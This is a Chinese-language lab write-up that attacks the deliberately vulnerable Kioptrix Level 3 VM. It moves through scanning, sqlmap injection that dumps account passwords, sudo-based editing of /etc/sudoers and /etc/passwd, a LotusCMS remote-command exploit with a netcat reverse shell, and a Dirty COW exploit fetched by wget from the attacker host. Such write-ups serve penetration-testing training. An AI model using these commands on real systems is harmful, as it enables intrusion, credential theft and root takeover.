环境
准备环境
一台kali攻击机
一台Kioptrix_Level_3 靶机
靶机说明
靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
Kioptrix_Level_3 靶机存在漏洞:
1、SQL注入
2、LotusCMS的远程命令执行
3、操作系统内核漏洞
第一步:探测靶机
用netdiscover进行内网主机发现。
Netdiscover简介:专用的二层发现工具。拥有主动和被动发现两种方式。
命令如下:
netdiscover -i eth0 -r 10.1.2.0/24
-i:网卡,选择你监控的网卡。比如eth0。
-r:网段,选择你探测的网段。比如10.1.2.0
用nmap进行内网主机扫描。
nmap -sn 10.1.2.1-254
-sn:只进行主机发现,不进行端口扫描。
第二步:信息收集
拿到一台目标主机,首先要对其进行信息收集。例如进行端口扫描,以获取主机的端口开放情况和对应的服务信息。
端口扫描
本例中目标主机IP地址为10.1.2.10,攻击主机IP地址为10.1.2.9。
使用nmap进行扫描。命令如下:
nmap -sC -sV -v -p- -A 10.1.2.10
-sC:脚本扫描
-sV:版本扫描
-v:显示详细信息
-p-:指定端口扫描
-A:全面扫描,包含操作系统和服务版本探测等
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-14 02:29 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 02:29
Completed NSE at 02:29, 0.00s elapsed
Initiating NSE at 02:29
Completed NSE at 02:29, 0.00s elapsed
Initiating NSE at 02:29
Completed NSE at 02:29, 0.00s elapsed
Initiating ARP Ping Scan at 02:29
Scanning 10.1.2.10 [1 port]
Completed ARP Ping Scan at 02:29, 0.09s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 02:29
Scanning kioptrix3.com (10.1.2.10) [65535 ports]
Discovered open port 22/tcp on 10.1.2.10
Discovered open port 80/tcp on 10.1.2.10
Completed SYN Stealth Scan at 02:30, 5.97s elapsed (65535 total ports)
Initiating Service scan at 02:30
Scanning 2 services on kioptrix3.com (10.1.2.10)
Completed Service scan at 02:30, 6.27s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against kioptrix3.com (10.1.2.10)
NSE: Script scanning 10.1.2.10.
Initiating NSE at 02:30
Completed NSE at 02:30, 0.54s elapsed
Initiating NSE at 02:30
Completed NSE at 02:30, 0.04s elapsed
Initiating NSE at 02:30
Completed NSE at 02:30, 0.01s elapsed
Nmap scan report for kioptrix3.com (10.1.2.10)
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
| 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_ 2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Ligoat Security - Got Goat? Security ...
|_http-favicon: Unknown favicon MD5: 99EFC00391F142252888403BB1C196D2
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
MAC Address: 00:0C:29:78:4F:60 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.005 days (since Sat Sep 14 02:23:27 2024)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=201 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.22 ms kioptrix3.com (10.1.2.10)
NSE: Script Post-scanning.
Initiating NSE at 02:30
Completed NSE at 02:30, 0.00s elapsed
Initiating NSE at 02:30
Completed NSE at 02:30, 0.00s elapsed
Initiating NSE at 02:30
Completed NSE at 02:30, 0.01s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.70 seconds
Raw packets sent: 65555 (2.885MB) | Rcvd: 65551 (2.623MB)
通过扫描结果可以发现,该机仅开放了两个常用端口
常用端口 | 对应服务 |
---|---|
22端口 | ssh服务 |
80端口 | http服务 |
仅开放两个端口,我们只有80端口可以寻找突破点。
访问http://10.1.2.10/,看一下80端口
这页英文,让我们试试最新的图文系统,点now访问看看
看着这个网页风格和其他页面不是一个风格,再加上上个页面的文章提示(平时测试过程中是没有这种英文文章提示的,但是网站风格不同,怀疑是不是不同的站点),这个一个就是新出的图文站点,有个http://kioptrix3.com域名且有些链接打不开。打开/etc/hosts/文件编辑hosts文件将域名指向靶机IP,修改后刚刚不可以访问页面可以正常访问。
点下login看看登录功能。
有登陆界面,扫下目录看看有没有其他页面。
目录扫描
1、dirb目录扫描
dirb http://10.1.2.10/
┌──(root㉿kali)-[~]
└─# dirb http://10.1.2.10
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Sep 21 22:08:39 2024
URL_BASE: http://10.1.2.10/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.1.2.10/ ----
==> DIRECTORY: http://10.1.2.10/cache/
==> DIRECTORY: http://10.1.2.10/core/
+ http://10.1.2.10/data (CODE:403|SIZE:320)
+ http://10.1.2.10/favicon.ico (CODE:200|SIZE:23126)
==> DIRECTORY: http://10.1.2.10/gallery/
+ http://10.1.2.10/index.php (CODE:200|SIZE:1819)
==> DIRECTORY: http://10.1.2.10/modules/
==> DIRECTORY: http://10.1.2.10/phpmyadmin/
+ http://10.1.2.10/server-status (CODE:403|SIZE:329)
==> DIRECTORY: http://10.1.2.10/style/
---- Entering directory: http://10.1.2.10/cache/ ----
+ http://10.1.2.10/cache/index.html (CODE:200|SIZE:1819)
---- Entering directory: http://10.1.2.10/core/ ----
==> DIRECTORY: http://10.1.2.10/core/controller/
+ http://10.1.2.10/core/index.php (CODE:200|SIZE:0)
==> DIRECTORY: http://10.1.2.10/core/lib/
==> DIRECTORY: http://10.1.2.10/core/model/
==> DIRECTORY: http://10.1.2.10/core/view/
---- Entering directory: http://10.1.2.10/gallery/ ----
+ http://10.1.2.10/gallery/index.php (CODE:500|SIZE:5650)
==> DIRECTORY: http://10.1.2.10/gallery/photos/
==> DIRECTORY: http://10.1.2.10/gallery/themes/
---- Entering directory: http://10.1.2.10/modules/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.1.2.10/phpmyadmin/ ----
+ http://10.1.2.10/phpmyadmin/favicon.ico (CODE:200|SIZE:18902)
+ http://10.1.2.10/phpmyadmin/index.php (CODE:200|SIZE:8136)
==> DIRECTORY: http://10.1.2.10/phpmyadmin/js/
==> DIRECTORY: http://10.1.2.10/phpmyadmin/lang/
+ http://10.1.2.10/phpmyadmin/libraries (CODE:403|SIZE:336)
+ http://10.1.2.10/phpmyadmin/phpinfo.php (CODE:200|SIZE:0)
==> DIRECTORY: http://10.1.2.10/phpmyadmin/scripts/
==> DIRECTORY: http://10.1.2.10/phpmyadmin/themes/
---- Entering directory: http://10.1.2.10/style/ ----
+ http://10.1.2.10/style/admin.php (CODE:200|SIZE:356)
+ http://10.1.2.10/style/index.php (CODE:200|SIZE:0)
---- Entering directory: http://10.1.2.10/core/controller/ ----
+ http://10.1.2.10/core/controller/index.php (CODE:200|SIZE:0)
---- Entering directory: http://10.1.2.10/core/lib/ ----
+ http://10.1.2.10/core/lib/index.php (CODE:200|SIZE:0)
---- Entering directory: http://10.1.2.10/core/model/ ----
+ http://10.1.2.10/core/model/index.php (CODE:200|SIZE:0)
---- Entering directory: http://10.1.2.10/core/view/ ----
+ http://10.1.2.10/core/view/index.php (CODE:200|SIZE:0)
---- Entering directory: http://10.1.2.10/gallery/photos/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.1.2.10/gallery/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.1.2.10/phpmyadmin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.1.2.10/phpmyadmin/lang/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.1.2.10/phpmyadmin/scripts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.1.2.10/phpmyadmin/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Sat Sep 21 22:09:17 2024
DOWNLOADED: 46120 - FOUND: 17
2、dirsearch目录扫描
dirsearch -u 192.168.251.218 -e * -x 400-499
-u:指定URL
-e:选择扩展名,*代表全部选择
-x:排除某些状态码,逗号隔开,支持范围隔开(400-499);与之对应的是-i
┌──(root㉿kali)-[~]
└─# dirsearch -u 10.1.2.10:80 -e * -x 403,404
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: Desktop | HTTP method: GET | Threads: 25 | Wordlist size: 9481
Output File: /root/reports/_10.1.2.10_80/_24-09-21_22-07-45.txt
Target: http://10.1.2.10/
[22:07:45] Starting:
[22:08:00] 301 - 345B - /cache -> http://10.1.2.10/cache/
[22:08:03] 301 - 344B - /core -> http://10.1.2.10/core/
[22:08:03] 200 - 688B - /core/fragments/moduleInfo.phtml
[22:08:07] 200 - 23KB - /favicon.ico
[22:08:08] 301 - 347B - /gallery -> http://10.1.2.10/gallery/
[22:08:16] 301 - 347B - /modules -> http://10.1.2.10/modules/
[22:08:16] 200 - 2KB - /modules/
[22:08:19] 301 - 350B - /phpmyadmin -> http://10.1.2.10/phpmyadmin/
[22:08:20] 401 - 515B - /phpmyadmin/scripts/setup.php
[22:08:20] 200 - 8KB - /phpmyadmin/index.php
[22:08:20] 200 - 8KB - /phpmyadmin/
[22:08:28] 301 - 345B - /style -> http://10.1.2.10/style/
[22:08:31] 200 - 18B - /update.php
Task Completed
3、dirbuster目录扫描
dirbuster
这个工具是kali自带的带有图形化界面,呈现方式也类似于文件夹,很好用的工具。
有个papmyadmin.php,访问发现用户admin,密码为空可以直接登进去。
进去了发现里面没有可用的信息,仅仅是admin用户,在数据库中也不是最高的root用户权限,没有创建数据库和查看数据库的权限,只有显示information_schema虚拟数据库。这种数据库是MySQL5.0版本引入的虚拟数据库概念,并不是真实存在的,是一种视图,类似“字典”,提供访问数据库元数据的方式,就是描述数据属性的信息。
这里没看到有用信息,先放弃,如果没有其他方法可以尝试暴力破解root用户密码。
漏洞线索思路1:SQL注入
图文站点目录扫描后发现有version.txt文件,查看后发现版本Gallarific 2.1
去漏洞库查询当前版本
由txt文件可知,安装的版本发行于2009年10月,漏洞库的exp文件只有SQL的是在此日期之后,且访问gallery.php页面显示SQL语法错误。
至此确定存在SQL注入漏洞
上sqlmap跑跑看
qlmap -u http://kioptrix3.com/gallery/gallery.php?id=1 --level 4 --risk 3 -p id --dbs
爆出来三个数据库,站点是galleryCMS先选gallery试试
sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1 --level 4 --risk 3 -p id -D gallery -tables
这里爆出来7个表,从名字上来看可能有两个表包含有价值信息,分别是dev_accounts(accounts账户)以及gallarific_users(user用户)。
查dev_accounts表
查dev_accounts表内的列名
sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1 --level 4 --risk 3 -p id -D gallery -T dev_accounts --columns
查列的内容。
sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1 --level 4 --risk 3 -p id -D gallery -T dev_accounts -C "username,password" -dump
这里我们获取到两个用户名及密码
用户 | 密码 |
---|---|
dreg | Mast3r |
loneferret | starwars |
这个账户表查出来的两个用户无法登录gallarific系统,但不排除其可以用于登录目标主机的操作系统,可以尝试ssh登录。 |
使用dreg用户尝试
ssh dreg@10.1.2.10
用户下的文件都没有执行权限
显示有cd命令有执行权限,向上切换时反应权限是rbash(rbash是一种功能受限的bash shell,它可以执行设定好的命令)
使用命令查看内核版本
uname -a
这个dreg用户命令受限,但是还可以查看内核版本
使用loneferret用户尝试
loneferret用户阅读/etc/passwd看看权限
这个用户可以查看passwd文件,可以看到dreg用户确实是rbash权限。
查看下当前文件
我们使用sudo -l命令查看当前用户可以执行root权限的指令,发现我们可以用的root权限仅有su切换用户和ht文本编辑器,且使用ht命令无需输入密码。这样一来就可以编辑一些非root权限无法修改的重要文件内容。
首先执行sudo ht命令
该环节报错可以输入export TERM=xterm命令
再次输入sudo ht进入编辑器,按F3进行目录切换打开文件。
方法一:切换到etc/sudoers文件
在后面添加/bin/bash
按F2保存文件,按F10退出。
执行sudo bash命令直接获得root权限
方法二:用ht编译/etc/passwd文件
将框中的那两个:号中间的改为sXuCKi7k3Xh/s这样root的密码就变成了toor
查gallarific_users表
上面成功拿下root权限,看看查一下gallarific_users表的列名
sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1 --level 4 --risk 3 -p id -D gallery -T gallarific_users --columns
查列里的内容
sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1 --level 4 --risk 3 -p id -D gallery -T gallarific_users -C "password,username,firstname" --dump
这个登录界面在http://kioptrix3.com/gallery/gadmin/
登录后这边上传图片文件功能,试试上传木马。
漏洞思路线索1:LotusCMS系统远程命令执行
在漏洞库查找lotuscms的可用exp,并将其下载下来,cat文件查看使用方法
依赖metasploit使用
运行失败,在github上找到非metasploit版本的进行测试
exploit下载链接
下载后解压,运行下面命令执行Exploit。
./lotusRCE.sh http://kioptrix3.com
查询本地IP,启动监听端口。
ifconfig
nc -lvnp 8888
接下来我们需要输入使用的攻击机IP和端口,本次选择的是NetCat -e执行方式。
回到我们监听的窗口,可以看到成功获得到一个来自目标主机的shell连接,权限为www-data。
查询系统版本
cat /etc/*-release
uname -a
查找对应的版本漏洞exp
searchsploit linux 2.6.24
这里发现有经典的脏牛,这次选用它来提取
searchsploit -m 40839.c
启动http服务
下载40839.c文件,编译并执行,最后获得一个用户名为firefart,密码为刚设置的123456的root权限用户
wget http://10.1.2.9/40839.c
ls -al
gcc -pthread 40839.c -o dirty -lcrypt
./dirty
123456
我们使用ssh利用刚刚创建的用户名建立连接,查看创建的用户权限。
可以看到,成功拿到root权限。